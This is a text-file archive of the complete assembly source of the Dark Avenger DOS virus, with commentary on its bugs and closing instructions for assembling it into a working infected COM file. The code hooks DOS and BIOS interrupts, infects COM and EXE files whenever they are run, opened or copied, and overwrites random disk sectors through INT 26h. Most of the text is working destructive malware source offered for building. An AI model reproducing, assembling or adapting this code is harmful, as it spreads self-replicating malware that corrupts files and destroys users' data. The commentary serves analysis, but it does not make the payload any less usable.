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Text File | 1998-01-14 | 27.5 KB | 1,021 lines

DARK AVENGER VIRUS code segment assume cs:code,ds:code copyright: db 'Eddie lives...somewhere in time!',0 date_stamp: dd 12239000h checksum: db 30 ; Return the control to an .EXE file: ; Restores DS=ES=PSP, loads SS:SP and CS:IP. exit_exe: mov bx,es add bx,10h add bx,word ptr cs:[si+call_adr+2] mov word ptr cs:[si+patch+2],bx mov bx,word ptr cs:[si+call_adr] mov word ptr cs:[si+patch],bx mov bx,es add bx,10h add bx,word ptr cs:[si+stack_pointer+2] mov ss,bx mov sp,word ptr cs:[si+stack_pointer] db 0eah ;JMP XXXX:YYYY patch: dd 0 ; Returns control to a .COM file: ; Restores the first 3 bytes in the ; beginning of the file, loads SP and IP. exit_com: mov di,100h add si,offset my_save movsb movsw mov sp,ds:[6] ;This is incorrect xor bx,bx push bx jmp [si-11] ;si+call_adr-top_file ; Program entry point startup: call relative relative: pop si ;SI = $ sub si,offset relative cld cmp word ptr cs:[si+my_save],5a4dh je exe_ok cli mov sp,si ;A separate stack is supported for add sp,offset top_file+100h ;the .COM files, in order not to sti ;overlap the stack by the program cmp sp,ds:[6] jnc exit_com exe_ok: push ax push es push si push ds mov di,si ; Looking for the address of INT 13h handler in ROM-BIOS xor ax,ax push ax mov ds,ax les ax,ds:[13h*4] mov word ptr cs:[si+fdisk],ax mov word ptr cs:[si+fdisk+2],es mov word ptr cs:[si+disk],ax mov word ptr cs:[si+disk+2],es mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h cmp ax,0f000h ;for diskettes if a hard disk is jne nofdisk ;available mov word ptr cs:[si+disk+2],ax mov ax,ds:[40h*4] mov word ptr cs:[si+disk],ax mov dl,80h mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, cmp ax,0f000h ;where the original INT 13h vector is je isfdisk cmp ah,0c8h jc nofdisk cmp ah,0f4h jnc nofdisk test al,7fh jnz nofdisk mov ds,ax cmp ds:[0],0aa55h jne nofdisk mov dl,ds:[2] isfdisk: mov ds,ax xor dh,dh mov cl,9 shl dx,cl mov cx,dx xor si,si findvect: lodsw ;Occasionally begins with: cmp ax,0fa80h ; CMP DL,80h jne altchk ; JNC somewhere lodsw cmp ax,7380h je intchk jne nxt0 altchk: cmp ax,0c2f6h ;or with: jne nxt ; TEST DL,80h lodsw ; JNZ somewhere cmp ax,7580h jne nxt0 intchk: inc si ;then there is: lodsw ; INT 40h cmp ax,40cdh je found sub si,3 nxt0: dec si dec si nxt: dec si loop findvect jmp short nofdisk found: sub si,7 mov word ptr cs:[di+fdisk],si mov word ptr cs:[di+fdisk+2],ds nofdisk: mov si,di pop ds ; Check whether the program is present in memory: les ax,ds:[21h*4] mov word ptr cs:[si+save_int_21],ax mov word ptr cs:[si+save_int_21+2],es push cs pop ds cmp ax,offset int_21 jne bad_func xor di,di mov cx,offset my_size scan_func: lodsb scasb jne bad_func loop scan_func pop es jmp go_program ; Move the program to the top of memory: ; (it's full of rubbish and bugs here) bad_func: pop es mov ah,49h int 21h mov bx,0ffffh mov ah,48h int 21h sub bx,(top_bz+my_bz+1ch-1)/16+2 jc go_program mov cx,es stc adc cx,bx mov ah,4ah int 21h mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 stc sbb es:[2],bx push es mov es,cx mov ah,4ah int 21h mov ax,es dec ax mov ds,ax mov word ptr ds:[1],8 call mul_16 mov bx,ax mov cx,dx pop ds mov ax,ds call mul_16 add ax,ds:[6] adc dx,0 sub ax,bx sbb dx,cx jc mem_ok sub ds:[6],ax ;Reduction of the segment size mem_ok: pop si push si push ds push cs xor di,di mov ds,di lds ax,ds:[27h*4] mov word ptr cs:[si+save_int_27],ax mov word ptr cs:[si+save_int_27+2],ds pop ds mov cx,offset aux_size rep movsb xor ax,ax mov ds,ax mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h mov ds:[21h*4+2],es mov ds:[27h*4],offset int_27 mov ds:[27h*4+2],es mov word ptr es:[filehndl],ax pop es go_program: pop si ; Smash the next disk sector: xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov word ptr cs:[si+save_int_13],ax mov ax,ds:[13h*4+2] mov word ptr cs:[si+save_int_13+2],ax mov ds:[13h*4],offset int_13 add ds:[13h*4],si mov ds:[13h*4+2],cs pop ds push ds push si mov bx,si lds ax,ds:[2ah] xor si,si mov dx,si scan_envir: ;Fetch program's name lodsw ;(with DOS 2.x it doesn't work anyway) dec si test ax,ax jnz scan_envir add si,3 lodsb ; The following instruction is a complete nonsense. Try to enter a drive & ; directory path in lowercase, then run an infected program from there. ; As a result of an error here + an error in DOS the next sector is not ; smashed. Two memory bytes are smashed instead, most probably onto the ; infected program. sub al,'A' mov cx,1 push cs pop ds add bx,offset int_27 push ax push bx push cx int 25h pop ax pop cx pop bx inc byte ptr [bx+0ah] and byte ptr [bx+0ah],0fh ;It seems that 15 times doing jnz store_sec ;nothing is not enough for some. mov al,[bx+10h] xor ah,ah mul word ptr [bx+16h] add ax,[bx+0eh] push ax mov ax,[bx+11h] mov dx,32 mul dx div word ptr [bx+0bh] pop dx add dx,ax mov ax,[bx+8] add ax,40h cmp ax,[bx+13h] jc store_new inc ax and ax,3fh add ax,dx cmp ax,[bx+13h] jnc small_disk store_new: mov [bx+8],ax store_sec: pop ax xor dx,dx push ax push bx push cx int 26h ; The writing trough this interrupt is not the smartest thing, bacause it ; can be intercepted (what Vesselin Bontchev has managed to notice). pop ax pop cx pop bx pop ax cmp byte ptr [bx+0ah],0 jne not_now mov dx,[bx+8] pop bx push bx int 26h small_disk: pop ax not_now: pop si xor ax,ax mov ds,ax mov ax,word ptr cs:[si+save_int_13] mov ds:[13h*4],ax mov ax,word ptr cs:[si+save_int_13+2] mov ds:[13h*4+2],ax pop ds pop ax cmp word ptr cs:[si+my_save],5a4dh jne go_exit_com jmp exit_exe go_exit_com: jmp exit_com int_24: mov al,3 ;This instruction seems unnecessary iret ; INT 27h handler (this is necessary) int_27: pushf call alloc popf jmp dword ptr cs:[save_int_27] ; During the DOS functions Set & Get Vector it seems that the virus has not ; intercepted them (this is a doubtfull advantage and it is a possible ; source of errors with some "intelligent" programs) set_int_27: mov word ptr cs:[save_int_27],dx mov word ptr cs:[save_int_27+2],ds popf iret set_int_21: mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds popf iret get_int_27: les bx,dword ptr cs:[save_int_27] popf iret get_int_21: les bx,dword ptr cs:[save_int_21] popf iret exec: call do_file call alloc popf jmp dword ptr cs:[save_int_21] db 'Diana P.',0 ; INT 21h handler. Infects files during execution, copying, browsing or ; creating and some other operations. The execution of functions 0 and 26h ; has bad consequences. int_21: push bp mov bp,sp push [bp+6] popf pop bp pushf call ontop cmp ax,2521h je set_int_21 cmp ax,2527h je set_int_27 cmp ax,3521h je get_int_21 cmp ax,3527h je get_int_27 cld cmp ax,4b00h je exec cmp ah,3ch je create cmp ah,3eh je close cmp ah,5bh jne not_create create: cmp word ptr cs:[filehndl],0;May be 0 if the file is open jne dont_touch call see_name jnz dont_touch call alloc popf call function jc int_exit pushf push es push cs pop es push si push di push cx push ax mov di,offset filehndl stosw mov si,dx mov cx,65 move_name: lodsb stosb test al,al jz all_ok loop move_name mov word ptr es:[filehndl],cx all_ok: pop ax pop cx pop di pop si pop es go_exit: popf jnc int_exit ;JMP close: cmp bx,word ptr cs:[filehndl] jne dont_touch test bx,bx jz dont_touch call alloc popf call function jc int_exit pushf push ds push cs pop ds push dx mov dx,offset filehndl+2 call do_file mov word ptr cs:[filehndl],0 pop dx pop ds jmp go_exit not_create: cmp ah,3dh je touch cmp ah,43h je touch cmp ah,56h ;Unfortunately, the command inter- jne dont_touch ;preter does not use this function touch: call see_name jnz dont_touch call do_file dont_touch: call alloc popf call function int_exit: pushf push ds call get_chain mov byte ptr ds:[0],'Z' pop ds popf dummy proc far ;??? ret 2 dummy endp ; Checks whether the file is .COM or .EXE. ; It is not called upon file execution. see_name: push ax push si mov si,dx scan_name: lodsb test al,al jz bad_name cmp al,'.' jnz scan_name call get_byte mov ah,al call get_byte cmp ax,'co' jz pos_com cmp ax,'ex' jnz good_name call get_byte cmp al,'e' jmp short good_name pos_com: call get_byte cmp al,'m' jmp short good_name bad_name: inc al good_name: pop si pop ax ret ; Converts into lowercase (the subroutines are a great thing). get_byte: lodsb cmp al,'C' jc byte_got cmp al,'Y' jnc byte_got add al,20h byte_got: ret ; Calls the original INT 21h. function: pushf call dword ptr cs:[save_int_21] ret ; Arrange to infect an executable file. do_file: push ds ;Save the registers in stack push es push si push di push ax push bx push cx push dx mov si,ds xor ax,ax mov ds,ax les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack push es ;and changes them with what is needed push ax mov ds:[24h*4],offset int_24 mov ds:[24h*4+2],cs les ax,ds:[13h*4] mov word ptr cs:[save_int_13],ax mov word ptr cs:[save_int_13+2],es mov ds:[13h*4],offset int_13 mov ds:[13h*4+2],cs push es push ax mov ds,si xor cx,cx ;Arranges to infect Read-only files mov ax,4300h call function mov bx,cx and cl,0feh cmp cl,bl je dont_change mov ax,4301h call function stc dont_change: pushf push ds push dx push bx mov ax,3d02h ;Now we can safely open the file call function jc cant_open mov bx,ax call disease mov ah,3eh ;Close it call function cant_open: pop cx pop dx pop ds popf jnc no_update mov ax,4301h ;Restores file's attributes call function ;if they were changed (just in case) no_update: xor ax,ax ;Restores INT 13h and INT 24h mov ds,ax pop ds:[13h*4] pop ds:[13h*4+2] pop ds:[24h*4] pop ds:[24h*4+2] pop dx ;Register restoration pop cx pop bx pop ax pop di pop si pop es pop ds ret ; This routine is the working horse. disease: push cs pop ds push cs pop es mov dx,offset top_save ;Read the file beginning mov cx,18h mov ah,3fh int 21h xor cx,cx xor dx,dx mov ax,4202h ;Save file length int 21h mov word ptr [top_save+1ah],dx cmp ax,offset my_size ;This should be top_file sbb dx,0 jc stop_fuck_2 ;Small files are not infected mov word ptr [top_save+18h],ax cmp word ptr [top_save],5a4dh jne com_file mov ax,word ptr [top_save+8] add ax,word ptr [top_save+16h] call mul_16 add ax,word ptr [top_save+14h] adc dx,0 mov cx,dx mov dx,ax jmp short see_sick com_file: cmp byte ptr [top_save],0e9h jne see_fuck mov dx,word ptr [top_save+1] add dx,103h jc see_fuck dec dh xor cx,cx ; Check if the file is properly infected see_sick: sub dx,startup-copyright sbb cx,0 mov ax,4200h int 21h add ax,offset top_file adc dx,0 cmp ax,word ptr [top_save+18h] jne see_fuck cmp dx,word ptr [top_save+1ah] jne see_fuck mov dx,offset top_save+1ch mov si,dx mov cx,offset my_size mov ah,3fh int 21h jc see_fuck cmp cx,ax jne see_fuck xor di,di next_byte: lodsb scasb jne see_fuck loop next_byte stop_fuck_2: ret see_fuck: xor cx,cx ;Seek to the end of file xor dx,dx mov ax,4202h int 21h cmp word ptr [top_save],5a4dh je fuck_exe add ax,offset aux_size+200h ;Watch out for too big .COM files adc dx,0 je fuck_it ret ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. fuck_exe: mov dx,word ptr [top_save+18h] neg dl and dx,0fh xor cx,cx mov ax,4201h int 21h mov word ptr [top_save+18h],ax mov word ptr [top_save+1ah],dx fuck_it: mov ax,5700h ;Get file's date int 21h pushf push cx push dx cmp word ptr [top_save],5a4dh je exe_file ;Very clever, isn't it? mov ax,100h jmp short set_adr exe_file: mov ax,word ptr [top_save+14h] mov dx,word ptr [top_save+16h] set_adr: mov di,offset call_adr stosw mov ax,dx stosw mov ax,word ptr [top_save+10h] stosw mov ax,word ptr [top_save+0eh] stosw mov si,offset top_save ;This offers the possibilities to movsb ;some nasty programs to restore movsw ;exactly the original length xor dx,dx ;of the .EXE files mov cx,offset top_file mov ah,40h int 21h ;Write the virus jc go_no_fuck ;(don't trace here) xor cx,ax jnz go_no_fuck mov dx,cx mov ax,4200h int 21h cmp word ptr [top_save],5a4dh je do_exe mov byte ptr [top_save],0e9h mov ax,word ptr [top_save+18h] add ax,startup-copyright-3 mov word ptr [top_save+1],ax mov cx,3 jmp short write_header go_no_fuck: jmp short no_fuck ; Construct the .EXE file's header do_exe: call mul_hdr not ax not dx inc ax jne calc_offs inc dx calc_offs: add ax,word ptr [top_save+18h] adc dx,word ptr [top_save+1ah] mov cx,10h div cx mov word ptr [top_save+14h],startup-copyright mov word ptr [top_save+16h],ax add ax,(offset top_file-offset copyright-1)/16+1 mov word ptr [top_save+0eh],ax mov word ptr [top_save+10h],100h add word ptr [top_save+18h],offset top_file adc word ptr [top_save+1ah],0 mov ax,word ptr [top_save+18h] and ax,1ffh mov word ptr [top_save+2],ax pushf mov ax,word ptr [top_save+19h] shr byte ptr [top_save+1bh],1 rcr ax,1 popf jz update_len inc ax update_len: mov word ptr [top_save+4],ax mov cx,18h write_header: mov dx,offset top_save mov ah,40h int 21h ;Write the file beginning no_fuck: pop dx pop cx popf jc stop_fuck mov ax,5701h ;Restore the original file date int 21h stop_fuck: ret ; The following is used by the INT 21h and INT 27h handlers in connection ; to the program hiding in memory from those who don't need to see it. ; The whole system is absurde and meaningless and it is also another source ; for program conflicts. alloc: push ds call get_chain mov byte ptr ds:[0],'M' pop ds ; Assures that the program is the first one in the processes, ; which have intercepted INT 21h (yet another source of conflicts). ontop: push ds push ax push bx push dx xor bx,bx mov ds,bx lds dx,ds:[21h*4] cmp dx,offset int_21 jne search_segment mov ax,ds mov bx,cs cmp ax,bx je test_complete ; Searches the segment of the sucker who has intercepted INT 21h, in ; order to find where it has stored the old values and to replace them. ; Nothing is done for INT 27h. xor bx,bx search_segment: mov ax,[bx] cmp ax,offset int_21 jne search_next mov ax,cs cmp ax,[bx+2] je got_him search_next: inc bx jne search_segment je return_control got_him: mov ax,word ptr cs:[save_int_21] mov [bx],ax mov ax,word ptr cs:[save_int_21+2] mov [bx+2],ax mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds xor bx,bx ; Even if he has not saved them in the same segment, this won't help him. return_control: mov ds,bx mov ds:[21h*4],offset int_21 mov ds:[21h*4+2],cs test_complete: pop dx pop bx pop ax pop ds ret ; Fetch the segment of the last MCB get_chain: push ax push bx mov ah,62h call function mov ax,cs dec ax dec bx next_blk: mov ds,bx stc adc bx,ds:[3] cmp bx,ax jc next_blk pop bx pop ax ret ; Multiply by 16 mul_hdr: mov ax,word ptr [top_save+8] mul_16: mov dx,10h mul dx ret db 'This program was written in the city of Sofia ' db '(C) 1988-89 Dark Avenger',0 ; INT 13h handler. ; Calls the original vectors in BIOS, if it's a writing call int_13: cmp ah,3 jnz subfn_ok cmp dl,80h jnc hdisk db 0eah ;JMP XXXX:YYYY my_size: ;--- Up to here comparison disk: ; with the original is made dd 0 hdisk: db 0eah ;JMP XXXX:YYYY fdisk: dd 0 subfn_ok: db 0eah ;JMP XXXX:YYYY save_int_13: dd 0 call_adr: dd 100h stack_pointer: dd 0 ;The original value of SS:SP my_save: int 20h ;The original contents of the first nop ;3 bytes of the file top_file: ;--- Up to here the code is written filehndl equ $ ; in the files filename equ filehndl+2 ;Buffer for the name of the opened file save_int_27 equ filename+65 ;Original INT 27h vector save_int_21 equ save_int_27+4 ;Original INT 21h vector aux_size equ save_int_21+4 ;--- Up to here is moved into memory top_save equ save_int_21+4 ;Beginning of the buffer, which ;contains ; - The first 24 bytes read from file ; - File length (4 bytes) ; - The last bytes of the file ; (my_size bytes) top_bz equ top_save-copyright my_bz equ my_size-copyright code ends end ------------------------------------------------------------------------ ------ A few notes on assembling this virus. It's a little bit tricky assembling the Dark Avenger Virus. Use these steps below. I use Turbo Assembler 2.0, but I'm positve that MASM will work just as well. 1: TASM AVENGER.ASM 2: TLINK AVENGER.OBJ 3: EXE2BIN AVENGER AVENGER.COM Now make a 3 byte file named JUMP.TMP using DEBUG like this 4: DEBUG n jmp.tmp e 0100 E9 68 00 rcx 3 w q 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM There you have it....